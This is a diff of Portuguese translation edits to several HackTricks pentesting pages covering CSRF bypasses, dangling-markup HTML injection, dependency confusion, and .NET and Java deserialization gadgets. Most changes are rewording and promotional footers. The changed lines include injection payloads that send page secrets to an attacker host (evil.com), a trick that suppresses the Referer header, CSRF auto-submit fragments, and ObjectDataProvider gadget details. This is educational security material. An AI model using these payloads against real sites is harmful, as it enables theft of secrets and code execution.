@ -154,17 +154,17 @@ Ao tentar enviar dados JSON via uma solicitação POST, usar o `Content-Type: ap
3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Bypass de Verificação de Referência / Origem
### Bypass de Verificação de Referrer / Origin
**Evitar Cabeçalho de Referência**
**Evitar o cabeçalho Referrer**
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que o navegador envie este cabeçalho, a seguinte tag meta HTML pode ser usada:
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie este cabeçalho, a seguinte tag meta HTML pode ser usada:
```xml
<meta name="referrer" content="never">
```
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
**Burlas de Regexp**
**Burlar Regexp**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
@ -189,7 +189,7 @@ document.forms[0].submit();
</body>
</html>
```
### **Bypass do método HEAD**
### **Bypassando o método HEAD**
A primeira parte [**deste relatório CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [o código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **lidar com solicitações HEAD como solicitações GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com solicitações HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
@ -199,7 +199,7 @@ Portanto, se uma solicitação GET estiver sendo limitada, você poderia simples
### **Exfiltrando Token CSRF**
Se um **token CSRF** estiver sendo usado como **defesa**, você poderia tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou de uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
Se um **token CSRF** estiver sendo usado como **defesa**, você poderia tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
### **GET usando tags HTML**
```xml
@ -260,7 +260,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
</body>
</html>
```
### Solicitação POST de formulário por meio de iframe
### Enviar solicitação POST de formulário por meio de um iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -338,7 +338,7 @@ body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Solicitação POST de formulário de dentro de um iframe
### Enviar solicitação POST de um formulário de dentro de um iframe
```html
<--! expl.html -->
@ -590,20 +590,20 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
<details>
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Resumo
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)mas você pode **injetar algumas tags HTML**.\
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)mas puder **injetar algumas tags HTML**.\
Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **exfiltrá-lo** do cliente, ou se quiser enganar a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](../content-security-policy-csp-bypass/) extraindo informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
@ -25,7 +25,7 @@ Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Pol
### Roubo de segredos em texto claro
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página é carregada, a vítima enviará a você todo o código entre a tag `img` injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você o roubará (você pode fazer a mesma coisa usando aspas duplas, veja qual poderia ser mais interessante de usar).
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página é carregada, a vítima enviará todo o código entre a tag `img` injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você o roubará (você pode fazer a mesma coisa usando aspas duplas, veja qual poderia ser mais interessante de usar).
Se a tag `img` for proibida (devido a CSP, por exemplo), você também pode usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
@ -97,7 +97,7 @@ value='fredmbogo'> ← Injected lines
```
### Roubo de segredos em texto claro via noscript
`<noscript></noscript>` é uma tag cujo conteúdo será interpretado se o navegador não suportar JavaScript (você pode ativar/desativar o JavaScript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
`<noscript></noscript>` é uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar o Javascript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Uma maneira de exfiltrar o conteúdo da página da web a partir do ponto de injeção até o final para um site controlado pelo atacante será injetar isso:
```html
@ -111,7 +111,7 @@ A partir dessa [pesquisa da portswiggers](https://portswigger.net/research/evadi
<base target='
```
Note que você vai pedir à **vítima** para **clicar em um link** que irá **redirecioná-la** para um **payload** controlado por você. Também observe que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo esse **conteúdo HTML**. Portanto, como você **controla a página** onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **extrair** esses dados:
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo esse **conteúdo HTML**. Portanto, como você **controla a página** para onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **exfiltrar** esses dados:
```html
<script>
if(window.name) {
@ -135,7 +135,7 @@ request.share_with = document.getElementById('share_with').value;
...
}
```
### Fluxo de trabalho de script enganoso 2 - Ataque de namespace de script
### Fluxo de script enganoso 2 - Ataque de namespace de script
Crie variáveis dentro do namespace javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
```html
@ -161,7 +161,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
```
### Abuso de JSONP
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
Se você encontrar uma interface JSONP, você pode ser capaz de chamar uma função arbitrária com dados arbitrários:
```html
<script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) {
@ -213,11 +213,11 @@ No momento desta escrita, você precisa habilitar a tag portal no Chrome em `chr
```
### Vazamentos de HTML
Nem todas as maneiras de vazar conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-as aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-os aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## Vazamentos SS
Este é um **mix** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas sim **outra página**.
Isso é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas sim **outra página**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
@ -251,7 +251,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -25,7 +25,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,9 +2,9 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,9 +14,9 @@
## Informações Básicas
Em resumo, uma vulnerabilidade de confusão de dependência ocorre quando um projeto está usando uma biblioteca com um nome **mal escrito**, **inexistente** ou com uma **versão não especificada** e o repositório de dependências usadas permite **reunir versões atualizadas de repositórios públicos**.
Em resumo, uma vulnerabilidade de confusão de dependência ocorre quando um projeto está usando uma biblioteca com um nome **com erro de digitação**, **inexistente** ou com uma **versão não especificada** e o repositório de dependências usadas permite **reunir versões atualizadas de repositórios públicos**.
* **Mal escrito**: Importe **`reqests`** em vez de `requests`
* **Com erro de digitação**: Importe **`reqests`** em vez de `requests`
* **Inexistente**: Importe `company-logging`, uma biblioteca interna que **não existe mais**
* **Versão não especificada**: Importe uma biblioteca **interna** **existente** `company-requests`, mas o repositório verifica **repositórios públicos** para ver se existem **versões superiores**.
@ -26,7 +26,7 @@ Em resumo, uma vulnerabilidade de confusão de dependência ocorre quando um pro
Em todos os casos, o atacante só precisa publicar um **pacote malicioso com o nome** das bibliotecas usadas pela empresa vítima.
{% endhint %}
### Mal Escrito & Inexistente
### Com Erro de Digitação & Inexistente
Se sua empresa está tentando **importar uma biblioteca que não é interna**, é altamente provável que o repositório de bibliotecas esteja procurando por ela em **repositórios públicos**. Se um atacante a criou, seu código e máquinas em execução provavelmente serão comprometidos.
@ -37,14 +37,14 @@ Se a biblioteca for uma **biblioteca externa conhecida** (como `requests` em Pyt
No entanto, se a biblioteca for **interna**, como `requests-company` neste exemplo, se o **repositório da biblioteca** permitir **verificar novas versões também externamente**, ele procurará por uma versão mais recente disponível publicamente.\
Portanto, se um **atacante souber** que a empresa está usando a biblioteca `requests-company` **versão 1.0.1** (permite atualizações menores), ele pode **publicar** a biblioteca `requests-company` **versão 1.0.2** e a empresa **usará essa biblioteca em vez da interna**.
## Correção da AWS
## Correção na AWS
Essa vulnerabilidade foi encontrada no AWS **CodeArtifact** (leia os [**detalhes neste post do blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
A AWS corrigiu isso permitindo especificar se uma biblioteca é interna ou externa, para evitar o download de dependências internas de repositórios externos.
## Encontrando Bibliotecas Vulneráveis
No [**post original sobre confusão de dependência**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), o autor procurou milhares de arquivos package.json expostos contendo as dependências de projetos JavaScript.
No [**post original sobre confusão de dependência**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) o autor procurou milhares de arquivos package.json expostos contendo as dependências de projetos JavaScript.
## Referências
@ -53,9 +53,9 @@ No [**post original sobre confusão de dependência**](https://medium.com/@alex.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -24,11 +24,11 @@ Portanto, o **objeto** arbitrário **executará** uma **função** com **parâme
O namespace **System.Windows.Data**, encontrado dentro do **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado.
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que estamos interessados. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do método**
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que estamos interessados. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do Método**
![](<../../.gitbook/assets/image (299).png>)
Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é chamado, vamos dar uma olhada no que ele faz:
Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é chamado, vamos ver o que isso faz:
![](<../../.gitbook/assets/image (300).png>)
@ -62,14 +62,14 @@ myODP.MethodName = "Start";
}
}
```
Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para carregar `System.Windows.Data`
Note que é necessário adicionar como referência _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para carregar `System.Windows.Data`
## ExpandedWrapper
Usando o exploit anterior, haverá casos em que o **objeto** será **desserializado como** uma instância _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não teremos **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Esta classe permite **especificar os tipos de objetos que estão encapsulados** em uma determinada instância. Portanto, esta classe pode ser usada para encapsular um objeto de origem (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades de que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver \_ObjectDataProvider**_\*\* dentro de uma instância \*\*_**ExpandedWrapper** e **quando desserializado** esta classe irá **criar** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver \_ObjectDataProvider**_\*\* dentro de uma instância \*\*_**ExpandedWrapper** e **ao ser desserializado** esta classe irá **criar** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
Você pode verificar este wrapper com o seguinte código:
```java
@ -95,7 +95,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Na [página oficial](https://www.newtonsoft.com/json) é indicado que esta biblioteca permite **Serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET**. Portanto, se pudermos **desserializar o gadget ObjectDataProvider**, poderíamos causar uma **RCE** apenas desserializando um objeto.
Na [página web oficial](https://www.newtonsoft.com/json) é indicado que esta biblioteca permite **Serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET**. Portanto, se pudermos **desserializar o gadget ObjectDataProvider**, poderíamos causar uma **RCE** apenas desserializando um objeto.
### Exemplo Json.Net
@ -196,9 +196,9 @@ TypeNameHandling = TypeNameHandling.Auto
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -4,10 +4,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -95,19 +95,19 @@ payloadTest("test.ser");
```
## Conclusão
Como você pode ver neste exemplo muito básico, a "vulnerabilidade" aqui aparece porque a função **readObject** está **chamando outras funções vulneráveis**.
Como você pode ver neste exemplo muito básico, a "vulnerabilidade" aqui ocorre porque a função **readObject** está **chamando outras funções vulneráveis**.
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
